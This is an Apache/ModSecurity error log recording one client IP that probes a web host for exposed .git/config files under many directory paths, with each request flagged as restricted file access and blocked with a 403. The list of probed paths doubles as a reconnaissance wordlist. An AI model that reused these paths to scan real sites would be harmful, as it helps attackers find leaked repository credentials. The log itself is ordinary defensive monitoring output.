[Thu Jan 16 14:20:45.046131 2025] [:error] [pid 510637] [client 45.135.232.70:48854] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.git/config&quot;] [unique_id &quot;Z4kHrS99y7sHzDyIeh2VdQAAAA8&quot;]
[Thu Jan 16 14:20:45.047212 2025] [:error] [pid 510637] [client 45.135.232.70:48854] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.git/config&quot;] [unique_id &quot;Z4kHrS99y7sHzDyIeh2VdQAAAA8&quot;]
[Thu Jan 16 14:20:45.047883 2025] [:error] [pid 510617] [client 45.135.232.70:48800] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /build/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.git/config&quot;] [unique_id &quot;Z4kHrR0GqQT5iX5c5mKiKgAAAAs&quot;]
[Thu Jan 16 14:20:45.048152 2025] [:error] [pid 510617] [client 45.135.232.70:48800] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.git/config&quot;] [unique_id &quot;Z4kHrR0GqQT5iX5c5mKiKgAAAAs&quot;]
[Thu Jan 16 14:20:45.048381 2025] [:error] [pid 510617] [client 45.135.232.70:48800] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build/.git/config&quot;] [unique_id &quot;Z4kHrR0GqQT5iX5c5mKiKgAAAAs&quot;]
[Thu Jan 16 14:20:45.055344 2025] [:error] [pid 510629] [client 45.135.232.70:48844] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /shop/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.git/config&quot;] [unique_id &quot;Z4kHrUybss1A0El7xRHo1AAAAAw&quot;]
[Thu Jan 16 14:20:45.055584 2025] [:error] [pid 510629] [client 45.135.232.70:48844] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.git/config&quot;] [unique_id &quot;Z4kHrUybss1A0El7xRHo1AAAAAw&quot;]
[Thu Jan 16 14:20:45.055759 2025] [:error] [pid 510629] [client 45.135.232.70:48844] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.git/config&quot;] [unique_id &quot;Z4kHrUybss1A0El7xRHo1AAAAAw&quot;]
[Thu Jan 16 14:20:45.084412 2025] [:error] [pid 500653] [client 45.135.232.70:48866] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /core/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/config&quot;] [unique_id &quot;Z4kHrZWbe3YhcT1jDQtNCgAAAAE&quot;]
[Thu Jan 16 14:20:45.084879 2025] [:error] [pid 500653] [client 45.135.232.70:48866] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/config&quot;] [unique_id &quot;Z4kHrZWbe3YhcT1jDQtNCgAAAAE&quot;]
[Thu Jan 16 14:20:45.085233 2025] [:error] [pid 500653] [client 45.135.232.70:48866] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.git/config&quot;] [unique_id &quot;Z4kHrZWbe3YhcT1jDQtNCgAAAAE&quot;]
[Thu Jan 16 14:20:45.094146 2025] [:error] [pid 511460] [client 45.135.232.70:48876] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /amphtml/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/amphtml/.git/config&quot;] [unique_id &quot;Z4kHrWMvBnNNNT6Ukk60eAAAAAA&quot;]
[Thu Jan 16 14:20:45.094699 2025] [:error] [pid 511460] [client 45.135.232.70:48876] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/amphtml/.git/config&quot;] [unique_id &quot;Z4kHrWMvBnNNNT6Ukk60eAAAAAA&quot;]
[Thu Jan 16 14:20:45.095066 2025] [:error] [pid 511460] [client 45.135.232.70:48876] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/amphtml/.git/config&quot;] [unique_id &quot;Z4kHrWMvBnNNNT6Ukk60eAAAAAA&quot;]
[Thu Jan 16 14:20:45.126523 2025] [:error] [pid 510615] [client 45.135.232.70:48936] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /git/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/git/.git/config&quot;] [unique_id &quot;Z4kHrcMsllM7RW6P3X-0tAAAAAk&quot;]
[Thu Jan 16 14:20:45.127111 2025] [:error] [pid 510615] [client 45.135.232.70:48936] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/git/.git/config&quot;] [unique_id &quot;Z4kHrcMsllM7RW6P3X-0tAAAAAk&quot;]
[Thu Jan 16 14:20:45.127599 2025] [:error] [pid 510615] [client 45.135.232.70:48936] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/git/.git/config&quot;] [unique_id &quot;Z4kHrcMsllM7RW6P3X-0tAAAAAk&quot;]
[Thu Jan 16 14:20:45.193190 2025] [:error] [pid 500655] [client 45.135.232.70:48928] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /services/email/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/email/.git/config&quot;] [unique_id &quot;Z4kHrQgnMRquV0bdEPwzggAAAAM&quot;]
[Thu Jan 16 14:20:45.193626 2025] [:error] [pid 510631] [client 45.135.232.70:49074] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;Z4kHrall1LqbFli-TYExXAAAAA4&quot;]
[Thu Jan 16 14:20:45.196108 2025] [:error] [pid 510629] [client 45.135.232.70:48988] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v4/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v4/.git/config&quot;] [unique_id &quot;Z4kHrUybss1A0El7xRHo1QAAAAw&quot;]
[Thu Jan 16 14:20:45.196136 2025] [:error] [pid 510617] [client 45.135.232.70:48974] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /services/billing/api/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/billing/api/.git/config&quot;] [unique_id &quot;Z4kHrR0GqQT5iX5c5mKiKwAAAAs&quot;]
[Thu Jan 16 14:20:45.196653 2025] [:error] [pid 510629] [client 45.135.232.70:48988] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v4/.git/config&quot;] [unique_id &quot;Z4kHrUybss1A0El7xRHo1QAAAAw&quot;]
[Thu Jan 16 14:20:45.196691 2025] [:error] [pid 510617] [client 45.135.232.70:48974] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/billing/api/.git/config&quot;] [unique_id &quot;Z4kHrR0GqQT5iX5c5mKiKwAAAAs&quot;]
[Thu Jan 16 14:20:45.197012 2025] [:error] [pid 510617] [client 45.135.232.70:48974] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/billing/api/.git/config&quot;] [unique_id &quot;Z4kHrR0GqQT5iX5c5mKiKwAAAAs&quot;]
[Thu Jan 16 14:20:45.198083 2025] [:error] [pid 510637] [client 45.135.232.70:49036] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v3/.git/config&quot;] [unique_id &quot;Z4kHrS99y7sHzDyIeh2VdgAAAA8&quot;]
[Thu Jan 16 14:20:45.198385 2025] [:error] [pid 510637] [client 45.135.232.70:49036] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v3/.git/config&quot;] [unique_id &quot;Z4kHrS99y7sHzDyIeh2VdgAAAA8&quot;]
[Thu Jan 16 14:20:45.198639 2025] [:error] [pid 510637] [client 45.135.232.70:49036] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v3/.git/config&quot;] [unique_id &quot;Z4kHrS99y7sHzDyIeh2VdgAAAA8&quot;]
[Thu Jan 16 14:20:45.199632 2025] [:error] [pid 507252] [client 45.135.232.70:48892] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /config/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;Z4kHrc9-aCDtrS8J08kNsAAAAAc&quot;]
[Thu Jan 16 14:20:45.199960 2025] [:error] [pid 507252] [client 45.135.232.70:48892] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;Z4kHrc9-aCDtrS8J08kNsAAAAAc&quot;]
[Thu Jan 16 14:20:45.200266 2025] [:error] [pid 507252] [client 45.135.232.70:48892] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;Z4kHrc9-aCDtrS8J08kNsAAAAAc&quot;]
[Thu Jan 16 14:20:45.200731 2025] [:error] [pid 501744] [client 45.135.232.70:49062] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /node_modules/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.git/config&quot;] [unique_id &quot;Z4kHrZu1_bwn-OVhpZOlHQAAAAY&quot;]
[Thu Jan 16 14:20:45.201066 2025] [:error] [pid 501744] [client 45.135.232.70:49062] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.git/config&quot;] [unique_id &quot;Z4kHrZu1_bwn-OVhpZOlHQAAAAY&quot;]
